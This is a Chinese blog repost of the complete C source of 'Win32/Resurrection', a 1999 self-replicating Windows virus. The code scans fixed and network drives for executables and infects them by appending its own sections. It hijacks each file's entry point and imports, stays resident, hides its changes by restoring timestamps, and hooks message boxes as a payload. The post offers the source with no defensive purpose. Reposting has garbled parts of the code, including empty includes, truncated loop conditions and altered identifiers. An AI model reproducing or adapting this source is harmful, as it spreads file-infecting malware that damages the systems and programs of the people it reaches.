ITPub博客

首页 > 数字化转型 > ERP > A LITE VIRUS ABOUT PE INFECT (转)

A LITE VIRUS ABOUT PE INFECT (转)

原创 ERP 作者:worldblog 时间:2007-12-12 18:02:39 0 删除 编辑
A LITE VIRUS ABOUT PE INFECT (转)[@more@]

请注意代码非我所有,我相信感兴趣的都能看懂 ^_^

////////////////////////////////////////////////////////////////////
//
// win32/Resurrection
//
// Coded in late June'99/July'99/[VX vacations]/December'99
//
// (c)1999 Tcp/29A (Mailto:tcp@cryogen.com">tcp@cryogen.com)
//
// This is my 1st windows virus (at last:) and the first coded by
// me in the last 2 years.
//
// It is a PE memory resident appending virus fully written in C.
// I think it's the first virus written in C that doesn't change
// the NewExe pointer.
// It could be also the 1st resident virus for Alpha machines running
// NT. If you can compile and test it in Alpha, please send me a mail.
//
//
// How the virus work?
// - It creates a low priority thread that searchs and infects files.
// - It adds its sections reading them from memory, relocates the
//  code/data and fixes the relocs (then the virus needs always
//  its own reloc section).
//  It imports the host import section, replacing the ExitProcess
//  call to ExitThread; then the virus will be the main thread and
//  it can continue searching for files even when host has finnished.
// - If the file's last section is the reloc section, the virus
//  joins this section with its reloc section so if the file is
//  not loaded at its preferred address the system will reloc it
//  and the virus.
//
// The virus is called Resurrection because it's my resurrection in
// the VX scene.
// Unfortunately, I hadn't time to code the Resurrection payload:
// using OLE automation and the C:CLASS.SYS from W97M/Class (or
// the one from Ethan) it could resurrect the virus.
// Then I coded a simple payload that changes the captions in
// MessageBoxes used by the host.
//
// Sorry for the obfuscated C and poorly optimized code, but it
// works (i hope) and, hey, it's a virus :)
//
// This virus is dedicated to Jacky Qwerty, we'll miss you. And to
// 29Aers for don't kicking a lazy and improductive member as I am ;)
//
// Well, now i got another 2 years credit hahaha (not!)
//
//  Tcp.
//
////////////////////////////////////////////////////////////////////


/////////////
// Includes
/////////////
#include
#include


/////////////////////
// Defines
/////////////////////

#define MEMALLOC(x) GlobalAlloc(GPTR, x)
#define MEMFREE(x)  GlobalFree(x)


/////////////////////
// Type definitions
/////////////////////

typedef struct
{
  word RelocOfs : 12;
  WORD RelocType:  4;
} IMAGE_RELOCATION_DATA;

////////////
// Globals
////////////
IMAGE_NT_HEADERS PEHeader;
IMAGE_DOS_HEADER * IDosHeader;
IMAGE_NT_HEADERS * IPEHeader;
IMAGE_SECTION_HEADER * ISection;
IMAGE_SECTION_HEADER * Section = NULL;
int Generation = 1;
int VirusSections = 0;
int FirstVirusSection = 0;
int ViruSCOdeSection = 0;
int VirusImportSection = 0;
DWORD VirusImportSize = 0;
DWORD VirusRVAImports = 0;
DWORD HostRVAImports = 0;
int VirusRelocSection = 0;
DWORD VirusRelocSize = 0;
DWORD VirusRelocSizeDir = 0;
DWORD OfsSections = 0;
DWORD VirusbaseRVA = 0;
DWORD VirusEP = 0;
DWORD HostEP = 0;

//// Fix for Visual C 5.0 heap
//extern __small_block_heap;

 

//////////////
// Functions
//////////////


/////////////////////////////////////
// GetProcAddress for ordinal imports
/////////////////////////////////////
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
{
  IMAGE_NT_HEADERS * DLLHeader;
  IMAGE_EXPORT_DIRECTORY * Exports;
  DWORD * AddrFunctions;

  DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
  Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
  return Base + AddrFunctions[NFunc - Exports->Base];
}

 

//////////////////////////////////
// Check file and read PE header
//////////////////////////////////
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
{
  IMAGE_DOS_HEADER FileHeader;
  WORD SizeSections;
  DWORD BytesRead;

  return
  (  // Read file header
  ( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
  &&
  ( BytesRead == sizeof(IMAGE_DOS_HEADER) )
  &&  // Check if EXE file
  ( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
  &&  // Seek to NewExe header
  ( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
  &&  // Read header
  ( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
  &&
  ( BytesRead == sizeof(IMAGE_NT_HEADERS) )
  &&  // Check if PE file
  ( PEHeader.Signature == IMAGE_NT_SIGNATURE )
  &&  // Alloc memory for file sections + virus sections
  ( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
  &&
  ( (Section = MEMALLOC(SizeSections)) != NULL )
  &&
  ( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
  &&  // Read PE sections
  ( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
  &&
  ( BytesRead == SizeSections )
  &&  // Check if there is enough room for our sections
  ( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
  &&  // Only infect when entry point belongs to 1st section
  // Avoid reinfections and compressors (usually perfoRM virus checks)
  ( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
  &&  // Skip DDLs
  ( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
  &&  // Skip files with overlays or not aligned to file alignment
  ( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
  &&  //Check if the host will overwrite our code with its unitialized data (not present in disk)
  ( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
  );
}

 

///////////////////////////////////////
// Translates a RVA into a file offset
///////////////////////////////////////
DWORD RVA2Ofs(DWORD rva)
{
  int NSect;
 
  NSect = 0;
  while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
  {
  if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
  break;
  NSect++;
  }
  return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
}

 

////////////////////////////////////////////
// I can't remember what this function does
////////////////////////////////////////////
void InfectFile(HANDLE FHandle)
{
  BYTE * Relocations = NULL;
  BYTE * HostRelocs = NULL;
  BYTE * Ptr;
  IMAGE_BASE_RELOCATION * RelocBlock;
  IMAGE_RELOCATION_DATA * PtrReloc;
  int j;

  // Let's do some initializations
  Section = NULL;
  Relocations = NULL;
  HostRelocs = NULL;
  Ptr = NULL;

  if (ReadPEHeader(FHandle))
  {
  DWORD SectionRVA;
  int HostNSections;
  DWORD HostRelocsSize;
  DWORD BytesRead;
  int i;

  HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
  HostNSections = PEHeader.FileHeader.NumberOfSections;

  HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

  // Search for victim import section
  for (i=0; i  {
  if (Section[i].VirtualAddress + Section[i].SizeOfRawData > HostRVAImports)
  {
  // Do it writable
  Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE;
  break;
  }
  }

  // Check if last section is .reloc
  HostRelocsSize = 0;
  if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
  {
  // Then we'll join it to virus reloc section
  VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
  if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
  {
  goto L_Exit_Infect;
  }
  else  // Read the .reloc section
  {
  HostNSections--;
  SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
  ReadFile(FHandle,  HostRelocs, HostRelocsSize, &BytesRead, NULL);
  SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
  }
  }
  else  // There is no .reloc or it is not the last section
  {
  if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
  { // There are relocs but we didn't find them, so exit
  goto L_Exit_Infect;
  }
  VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
  SetFilePointer(FHandle, 0, NULL, FILE_END);
  }

  FirstVirusSection = HostNSections;
  // Add virus section table
  CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);

  // Reloc virus code & fix reloc sections
  if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
  {
  goto L_Exit_Infect;
  }
  CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
 
  RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
  PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));

  // Reloc all virus sections and write them to disk
  for (i=0; i  {
  DWORD RelocsInBlock;

  Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);
  Section[HostNSections + i].VirtualAddress = SectionRVA;
  Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
 
  if (i == VirusRelocSection)  // Virus reloc section?
  {
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
  Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
  Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
  // Write host relocations
  WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
  // Add virus relocations
  WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
  // Fill with zeros until file alignment
  memset(Relocations, 0, 0x1000);
  WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
  }
  else
  {
  if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)
  {
  goto L_Exit_Infect;
  }
  CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData);

  // Patch Visual C 5.0 heap in .data section
/*
  {
  DWORD * PtrHeap = &__small_block_heap;

  if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap)
  &&
  ((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData > (DWORD)PtrHeap)
  )
  {
  PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress);
  PtrHeap[3] = PtrHeap[2];
  PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
  }
  }
*/ 
  // Do relocations in this section
  while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > RelocBlock->VirtualAddress)
  &&
  ((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
  )
  {
  DWORD Base;

  Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress;
  RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
  while (RelocsInBlock--)
  {
  if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
  {
  *((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);
  *((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
  }
  PtrReloc++;
  }
  RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA;
  RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
  PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
  }
 
  // Check if this is the Import section
  if (i == VirusImportSection)
  {
  IMAGE_IMPORT_DESCRIPTOR * Imports;
  IMAGE_THUNK_DATA * DataImports;
  DWORD StartImports;
  DWORD DeltaRVAs;

  DeltaRVAs = SectionRVA - ISection[i].VirtualAddress;
  StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress;
  Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
  while (Imports->OriginalFirstThunk)
  {
  // Fix some initialized fields in memory
  Imports->TimeDateStamp = Imports->ForwarderChain = 0;
  Imports->OriginalFirstThunk += DeltaRVAs;
  Imports->Name += DeltaRVAs;
  Imports->FirstThunk += DeltaRVAs;
  DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];
  do
  {
  DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
  }
  while ((++DataImports)->u1.AddressOfData);
  Imports++;
  }
  }

  WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
  MEMFREE(Ptr);
  Ptr = NULL;
  }
  SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
  }//for
 
  // Recalculate Header fields
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
  PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
  PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
  PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
  PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
  PEHeader.OptionalHeader.SizeOfCode = 0;
  PEHeader.OptionalHeader.SizeOfInitializedData = 0;
  PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
  for (j=0; j  {
  if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
  PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;
  if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
  PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
  if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
  PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
  }
  // Write new header and section table
  SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
  WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);
  WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
  }

L_Exit_Infect:
  // Free allocated memory
  if (HostRelocs != NULL)
  MEMFREE(HostRelocs);
  if (Relocations != NULL)
  MEMFREE(Relocations);
  if (Section != NULL)
  MEMFREE(Section);
  if (Ptr != NULL)
  MEMFREE(Ptr);
}


///////////////////////////////////////////
// Recursively search for files to infect
///////////////////////////////////////////
void SearchFiles(char * Path)
{
  HANDLE FindHandle;
  HANDLE FHandle;
  WIN32_FIND_DATA FindResult;
  FILETIME Time1, Time2, Time3;

  if (SetCurrentDirectory(Path))
  {
  // Search for EXE files in current directory
  if ((FindHandle = FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
  {
  do
  {
  FHandle = CreateFile(FindResult.cFileName,
  GENERIC_READ | GENERIC_WRITE,
  0,
  NULL,
  OPEN_EXISTING,
  FILE_ATTRIBUTE_ARCHIVE,
  NULL
  );
  if (FHandle != INVALID_HANDLE_VALUE)
  {
  GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time
  InfectFile(FHandle);  // Infect file
  SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
  CloseHandle(FHandle);
  }
  }
  while (FindNextFile(FindHandle, &FindResult));
  }
  FindClose(FindHandle);
  // Now search for subdirectories and process them
  if ((FindHandle = FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
  {
  do
  {
  if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  {
  char * DirName;

  DirName = _strupr(_strdup(FindResult.cFileName));
  if (
  (memcmp(DirName, "SYSTEM", 6))  // Skip SYSTEM??
  &&
  (FindResult.cFileName[0] != '.')  // Skip loops with "." and ".."
  )
  {
  SearchFiles(FindResult.cFileName);
  }
  free(DirName);
  }
  }
  while (FindNextFile(FindHandle, &FindResult));
  }
  FindClose(FindHandle);
  }
}


/////////////////////////////////////////////
// Search fixed and.NETwork drives to infect
/////////////////////////////////////////////
DWORD WINapi SearchDrives()
{
  DWORD Drives;
  BYTE CurrentDrive[] = "A:";
  DWORD DriveType;
  BYTE i;

  Drives = GetLogicalDrives();
  for (i=0; i  {
  if (Drives & (1<  {
  CurrentDrive[0] = 'A' + i;
  DriveType = GetDriveType(CurrentDrive);
  // Only infect files in Fixed and Network Drives
  if ((DriveType == DRIVE_FIXED) || (DriveType == DRIVE_REMOTE))
  {
  SearchFiles(CurrentDrive);
  }
  }
  }
  return 1;
}


///////////
// Payload
///////////
int MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type)
{
  char * Msgs[] =
  {
  "Hey you, stupid",
  "Win32/Resurrection by Tcp/29A",
  "Warning! Don't close this window",
  "I already told you this but..."
  };
  static int i = 0;

  return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type);
}


// Simulated host for 1st generation
void Gen1()
{
  MyMessageBox(NULL, "", NULL, MB_OK);
}


// Virus Entry Point
void main()
{
  BYTE InfectedFile[_MAX_PATH];
  DWORD ThreadID;
  DWORD ThreadInfID;
  HANDLE HThread;
  HANDLE InfThread;
  int i;
  HMODULE * HandleDLL = NULL;
  int ImportedDLLs = 0;


  // Get the infected filename
  GetModuleFileName(NULL, InfectedFile, sizeof(InfectedFile));
  // And its memory address
  IDosHeader = (IMAGE_DOS_HEADER *)GetModuleHandle(InfectedFile);
 
  IPEHeader = (IMAGE_NT_HEADERS *)((BYTE *)IDosHeader + IDosHeader->e_lfanew);

  if ( IPEHeader->Signature == IMAGE_NT_SIGNATURE ) // Check if we got the PE header
  {
  // Get ptr to Sections
  ISection = (IMAGE_SECTION_HEADER *)((BYTE *)IPEHeader + sizeof(IMAGE_NT_HEADERS));
  // Get ptr to virus Sections
  ISection += FirstVirusSection;
 
  if (Generation++ == 1)
  {  // Make some easy 1st-gen calcs to avoid complex ones in next generations
  HostEP = (DWORD)Gen1 - (DWORD)IDosHeader;
  VirusSections = IPEHeader->FileHeader.NumberOfSections; // Number of sections
  // Get the order of sections
  for (i=0; i  {
  if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.AddressOfEntryPoint)
  &&
  (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.AddressOfEntryPoint)
  )
  { // This is the code section
  VirusCodeSection = i;
  VirusEP = IPEHeader->OptionalHeader.AddressOfEntryPoint - ISection[i].VirtualAddress;
  }
  else
  {
  if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
  &&
  (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
  )
  { // This is the import section
   VirusImportSection = i;
    VirusRVAImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[0].VirtualAddress;
  }
  else
  {
  if (ISection[i].VirtualAddress == IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
  { // This is the reloc section
  VirusRelocSection = i;
  VirusRelocSize = ISection[i].Misc.VirtualSize;
  VirusRelocSizeDir = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
  }
  }
  }
  }//for
  }
  else  // Not first generation
  {
  IMAGE_IMPORT_DESCRIPTOR * HostImports;
  int i;
 
  HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
  // Count imported DLLs
  while (HostImports->OriginalFirstThunk)
  {
  ImportedDLLs++;
  HostImports++;
  }
  HandleDLL = (HMODULE *)MEMALLOC(ImportedDLLs * sizeof(HMODULE));
  // Make host imports
  HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
  for (i=0; i  {
  DWORD * FunctionName;
  DWORD * FunctionAddr;
  LPCTSTR Name;
  LPCTSTR StExitThread = "ExitThread";

  if ((HandleDLL[i] = LoadLibrary((LPCTSTR)(HostImports->Name + (DWORD)IDosHeader))) == NULL)
  { // Exit if not find a DLL
  char StError[100];

  MEMFREE(HandleDLL);
  sprintf(StError, "Can not find %s", (LPCTSTR)(HostImports->Name + (DWORD)IDosHeader));
  MessageBox(NULL, StError, "Error initializing program", MB_OK | MB_ICONWARNING);
  ExitProcess(0);
  }

  // Perform host imports
  FunctionName = (DWORD *)(HostImports->OriginalFirstThunk + (DWORD)IDosHeader);
  FunctionAddr = (DWORD *)(HostImports->FirstThunk + (DWORD)IDosHeader);
  while (*FunctionName)
  {
  if (*FunctionName & IMAGE_ORDINAL_FLAG)
  {
  // Windows doesn't like ordinal imports from kernel32, so use my own GetProcAddress
  *FunctionAddr = GetProcAddressOrd((DWORD)HandleDLL[i], IMAGE_ORDINAL(*FunctionName));
  }
  else
  {
  Name = (LPCTSTR)((DWORD)IDosHeader + *FunctionName + 2/*Hint*/);
  // Change ExitProcess by ExitThread
  if (!strcmp(Name, "ExitProcess"))
  Name = StExitThread;
  // Set payload
  if (!strcmp(Name, "MessageBoxA"))
  *FunctionAddr = (DWORD)&MyMessageBox;
  else
  *FunctionAddr = (DWORD)GetProcAddress(HandleDLL[i], Name);
  }
  FunctionName++;
  FunctionAddr++;
  }
  HostImports++;
  }
  }

  HostEP += (DWORD)IDosHeader;
  // Exec host with a thread
  if ((HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)HostEP, GetCommandLine(), 0, &ThreadID)) != NULL)
  {
  HANDLE VirusMutex;
 
  // Check if already resident
  if ( ((VirusMutex = CreateMutex(NULL, FALSE, "29A")) != NULL)
  &&
  (GetLastError() != ERROR_ALREADY_EXISTS)
  )
  {
  // Create infection thread
  InfThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SearchDrives , NULL, CREATE_SUSPENDED, &ThreadInfID);
  // Assign a low priority
  SetThreadPriority(InfThread, THREAD_PRIORITY_IDLE);
  // Activate it
  ResumeThread(InfThread);
  // Wait until infection completed
  WaitForSingleobject(InfThread, INFINITE);
  ReleaseMutex(VirusMutex);
  }
  // Wait until host thread finnished
  WaitForSingleObject(HThread, INFINITE);
  }

  for (i=0; i  {
  FreeLibrary(HandleDLL[i]);
  }
  if (HandleDLL != NULL)
  MEMFREE(HandleDLL);
  }
}


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10752043/viewspace-992390/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论
  • 博文量
    6241
  • 访问量
    2411069